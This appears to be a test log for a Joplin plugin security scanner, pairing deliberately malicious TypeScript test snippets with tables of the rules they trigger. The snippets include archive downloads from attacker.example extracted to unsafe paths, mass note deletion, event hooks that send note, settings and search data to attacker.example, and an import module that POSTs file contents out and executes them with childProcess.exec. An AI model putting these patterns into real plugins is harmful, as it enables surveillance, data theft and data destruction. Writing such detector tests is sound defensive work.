src/script.ts#L34 |
Electron Main Process Takeover: Attempting to import or require @electron/remote or electron.remote. |
|
joplin/electron-main-takeover |
src/script.ts#L36 |
Electron Main Process Takeover: Attempting to import or require @electron/remote or electron.remote. |
|
joplin/semantic-sabotage |
src/script.ts#L18 |
Semantic Integrity Sabotage (Gaslighting): Mutating or deleting notes directly inside a workspace event hook. | |
joplin/semantic-sabotage |
src/script.ts#L22 |
Semantic Integrity Sabotage (Gaslighting): Mutating or deleting notes directly inside a workspace event hook. | |
joplin/semantic-sabotage |
src/script.ts#L26 |
Semantic Integrity Sabotage (Gaslighting): Mutating or deleting notes directly inside a workspace event hook. | |
js/joplin/command-execution-structural |
webpack.config.js#L79 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
webpack.config.js#L80 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
joplin/electron-api-usage |
src/script.ts#L3 |
Unauthorized Native API Usage: Importing raw electron module directly instead of using official Joplin UI views or dialogs. |
|
joplin/electron-api-usage |
src/script.ts#L4 |
Unauthorized Native API Usage: Importing raw electron module directly instead of using joplin.plugins.dataDir. |
|
joplin/electron-api-usage |
src/script.ts#L5 |
Unauthorized Native API Usage: Importing raw electron module directly instead of using joplin.clipboard. |
|
joplin/electron-api-usage |
src/script.ts#L6 |
Unauthorized Native API Usage: Importing raw electron module directly instead of using joplin.views.dialogs. |
|
joplin/electron-api-usage |
src/script.ts#L7 |
Unauthorized Native API Usage: Direct IPC channel access bypasses Joplin's plugin messaging entirely. | |
joplin/electron-api-usage |
src/script.ts#L8 |
Unauthorized Native API Usage: Direct IPC channel access bypasses Joplin's plugin messaging entirely. | |
joplin/electron-api-usage |
src/script.ts#L9 |
Unauthorized Native API Usage: Usage of electron.screen bypasses Joplin's plugin APIs. |
|
joplin/electron-api-usage |
src/script.ts#L10 |
Unauthorized Native API Usage: Using electron.shell instead of standard link tags or Joplin's link handlers. |
|
joplin/electron-api-usage |
src/script.ts#L36 |
Unauthorized Native API Usage: Direct usage of the electron module bypasses Joplin's plugin APIs. |
|
joplin/electron-api-usage |
src/script.ts#L2 |
Unauthorized Native API Usage: Direct usage of the electron module bypasses Joplin's plugin APIs. |
10. Test 10 :
Test code
import * as fs from 'fs';
import joplin from 'api';
import * as childProcess from 'child_process';
import * as path from 'path';
/**
* TARGET RULE: Rule 17 - Untrusted Archive Extraction
*/
async function triggerRule17(panel: string) {
const response = await fetch('https://attacker.example/archive.zip');
const archivePath = '/tmp/plugin-update.zip';
fs.writeFileSync(archivePath, Buffer.from(await response.arrayBuffer()));
await joplin.fs.archiveExtract(archivePath, '/tmp/extract-here');
joplin.views.panels.onMessage(panel, async (message: any) => {
await joplin.fs.archiveExtract(message.archivePath, '/tmp/message-extract');
});
}
/**
* TARGET RULE: Rule 17b - Unsafe Archive Extraction Destination
*/
async function triggerRule17b() {
await joplin.fs.archiveExtract('plugin.zip', '/etc/passwd');
await joplin.fs.archiveExtract('plugin.zip', __dirname + '/overwrite');
await joplin.fs.archiveExtract('plugin.zip', process.cwd());
await joplin.fs.archiveExtract('plugin.zip', process.env as any);
}
/**
* TARGET RULE: Rule 17c - Archive Entry Traversal
*/
async function triggerRule17c() {
const entries = await joplin.fs.archiveExtract('safe.zip', await joplin.plugins.dataDir());
fs.writeFileSync(entries[0].name, 'payload');
entries.forEach((entry: any) => {
childProcess.execFile(entry.entryName, []);
});
fs.writeFileSync(path.basename(entries[1].name), 'safe');
}
Link : https://github.com/akshajrawat/plugins-test/issues/49
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
js/joplin/unauthorized-fs-access |
src/script.ts#L25 |
Unauthorized File System Access: The plugin is using path-revealing variables outside of the safe Joplin sandbox. | |
js/joplin/unauthorized-fs-access |
src/script.ts#L26 |
Unauthorized File System Access: The plugin is using path-revealing variables outside of the safe Joplin sandbox. | |
joplin/archive-unsafe-destination |
src/script.ts#L13 |
Unsafe Archive Extraction Destination: Archive is being extracted into an unsafe path, risking overwriting user configs or app data. | |
joplin/archive-unsafe-destination |
src/script.ts#L16 |
Unsafe Archive Extraction Destination: Archive is being extracted into an unsafe path, risking overwriting user configs or app data. | |
joplin/archive-unsafe-destination |
src/script.ts#L24 |
Unsafe Archive Extraction Destination: Archive is being extracted into an unsafe path, risking overwriting user configs or app data. | |
joplin/archive-unsafe-destination |
src/script.ts#L25 |
Unsafe Archive Extraction Destination: Archive is being extracted into an unsafe path, risking overwriting user configs or app data. | |
joplin/archive-unsafe-destination |
src/script.ts#L26 |
Unsafe Archive Extraction Destination: Archive is being extracted into an unsafe path, risking overwriting user configs or app data. | |
joplin/archive-unsafe-destination |
src/script.ts#L27 |
Unsafe Archive Extraction Destination: Archive is being extracted into an unsafe path, risking overwriting user configs or app data. | |
js/joplin/command-execution-structural |
webpack.config.js#L79 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
webpack.config.js#L80 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
joplin/archive-extraction |
src/script.ts#L12 |
Untrusted Archive Extraction: A remote file or user-controlled input is being downloaded and extracted to an unsafe destination. | |
joplin/archive-extraction |
src/script.ts#L16 |
Untrusted Archive Extraction: A remote file or user-controlled input is being downloaded and extracted to an unsafe destination. | |
joplin/archive-entry-traversal |
src/script.ts#L35 |
Path Traversal Risk (Zip Slip): Unsanitized file names from an extracted archive are flowing directly into file system paths. | |
joplin/archive-entry-traversal |
src/script.ts#L38 |
Path Traversal Risk (Zip Slip): Unsanitized file names from an extracted archive are flowing directly into file system paths. | |
js/http-to-file-access |
src/script.ts#L12 |
Network data written to file: Writing to the file system depends on untrusted data. | |
js/insecure-temporary-file |
src/script.ts#L12 |
Insecure temporary file: Insecure creation of file in the OS temp directory. |
11. Test 11 :
Test code
import joplin from 'api';
import * as childProcess from 'child_process';
import * as fs from 'fs';
/**
* TARGET RULE: Rule 18 - Mass Data Destruction
*/
function triggerRule18() {
joplin.data.delete(['folders', 'archive']);
['n1', 'n2'].forEach((id) => {
joplin.data.put(['notes', id], null, { deleted_time: Date.now() });
});
setInterval(() => {
joplin.data.put(['notes', 'blank'], null, { body: '' });
}, 1000);
while (true) {
joplin.data.delete(['notes', 'loop-note']);
}
}
/**
* TARGET RULE: Rule 19 - Keylogging & Silent Surveillance
*/
function triggerRule19(panel: string, editor: string) {
joplin.workspace.onNoteContentChange((event: any) => {
fetch('https://attacker.example/content?' + event.noteId);
});
joplin.settings.onChange((event: any) => {
fetch('https://attacker.example/settings?' + event.keys);
});
joplin.views.panels.onMessage(panel, (message: any) => {
fetch('https://attacker.example/panel?' + message);
});
joplin.views.editors.onUpdate(editor, async (event: any) => {
fetch('https://attacker.example/editor?' + event);
});
joplin.workspace.onSyncStart(async () => {
const note = await joplin.workspace.selectedNote();
fetch('https://attacker.example/sync?' + note.id);
});
joplin.views.editors.register(editor, {
onActivationCheck: async () => true,
onSetup: async () => {
const results = await joplin.data.get(['search'], { query: 'password' });
fetch('https://attacker.example/search?' + results.items.length);
},
});
}
/**
* TARGET RULE: Rule 20 - Malicious Import Module
*/
function triggerRule20() {
joplin.interop.registerImportModule({
format: 'dummy',
description: 'dummy',
isNoteArchive: false,
sources: ['file' as any],
async onExec(context: any) {
fetch('https://attacker.example/import?folder=' + context.destFolderId);
const contents = fs.readFileSync(context.sourcePath);
fetch('https://attacker.example/import-body', {
method: 'POST',
body: contents,
});
childProcess.exec(String(contents));
fs.writeFileSync('/tmp/import-copy.md', contents);
fs.copyFileSync(context.sourcePath, '/tmp/original-import.md');
},
});
}
export { };
Link : https://github.com/akshajrawat/plugins-test/issues/48
| Severity | Rule Violated | File / Location | Flagged For |
|---|---|---|---|
joplin/keylogging |
src/script.ts#L29 |
Silent Surveillance / Hook Exfiltration: Data captured from a workspace, settings, or sync event hook is flowing to a network request. | |
joplin/keylogging |
src/script.ts#L33 |
Silent Surveillance / Hook Exfiltration: Data captured from a workspace, settings, or sync event hook is flowing to a network request. | |
joplin/keylogging |
src/script.ts#L37 |
Silent Surveillance / Hook Exfiltration: Data captured from a workspace, settings, or sync event hook is flowing to a network request. | |
joplin/keylogging |
src/script.ts#L41 |
Silent Surveillance / Hook Exfiltration: Data captured from a workspace, settings, or sync event hook is flowing to a network request. | |
joplin/keylogging |
src/script.ts#L46 |
Silent Surveillance / Hook Exfiltration: Data captured from a workspace, settings, or sync event hook is flowing to a network request. | |
joplin/mass-data-destruction |
src/script.ts#L9 |
Mass Data Destruction: The plugin is deleting an entire folder, which cascades to all its notes. | |
joplin/mass-data-destruction |
src/script.ts#L12 |
Mass Data Destruction: The plugin is looping to soft-delete, wipe bodies, or flag conflicts on many items at once. | |
joplin/mass-data-destruction |
src/script.ts#L16 |
Mass Data Destruction: The plugin is looping to soft-delete, wipe bodies, or flag conflicts on many items at once. | |
joplin/mass-data-destruction |
src/script.ts#L20 |
Mass Data Destruction: The plugin is looping unboundedly to delete many items at once. | |
js/joplin/data-exfiltration |
src/script.ts#L46 |
Data Exfiltration Warning: The plugin is reading notes, folders, or resources and sending that data to an external network endpoint. | |
js/joplin/command-execution-structural |
webpack.config.js#L79 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
js/joplin/command-execution-structural |
webpack.config.js#L80 |
Terminal Command Execution (Hardcoded): A hardcoded string command is passed to a child process. | |
joplin/malicious-import |
src/script.ts#L68 |
Malicious Import Processing: Data read during custom import module execution flows into a dangerous sink. | |
joplin/malicious-import |
src/script.ts#L73 |
Malicious Import Processing: Data read during custom import module execution flows into a dangerous sink. | |
joplin/malicious-import |
src/script.ts#L76 |
Malicious Import Processing: Data read during custom import module execution flows into a dangerous sink. | |
joplin/malicious-import |
src/script.ts#L77 |
Malicious Import Processing: Data read during custom import module execution flows into a dangerous sink. | |
joplin/malicious-import |
src/script.ts#L77 |
Malicious Import Processing: Data read during custom import module execution flows into a dangerous sink. | |
joplin/malicious-import |
src/script.ts#L78 |
Malicious Import Processing: Data read during custom import module execution flows into a dangerous sink. | |
js/insecure-temporary-file |
src/script.ts#L77 |
Insecure temporary file: Insecure creation of file in the OS temp directory. | |
js/file-access-to-http |
src/script.ts#L73 |
File data in outbound network request: Outbound network request depends on file data. |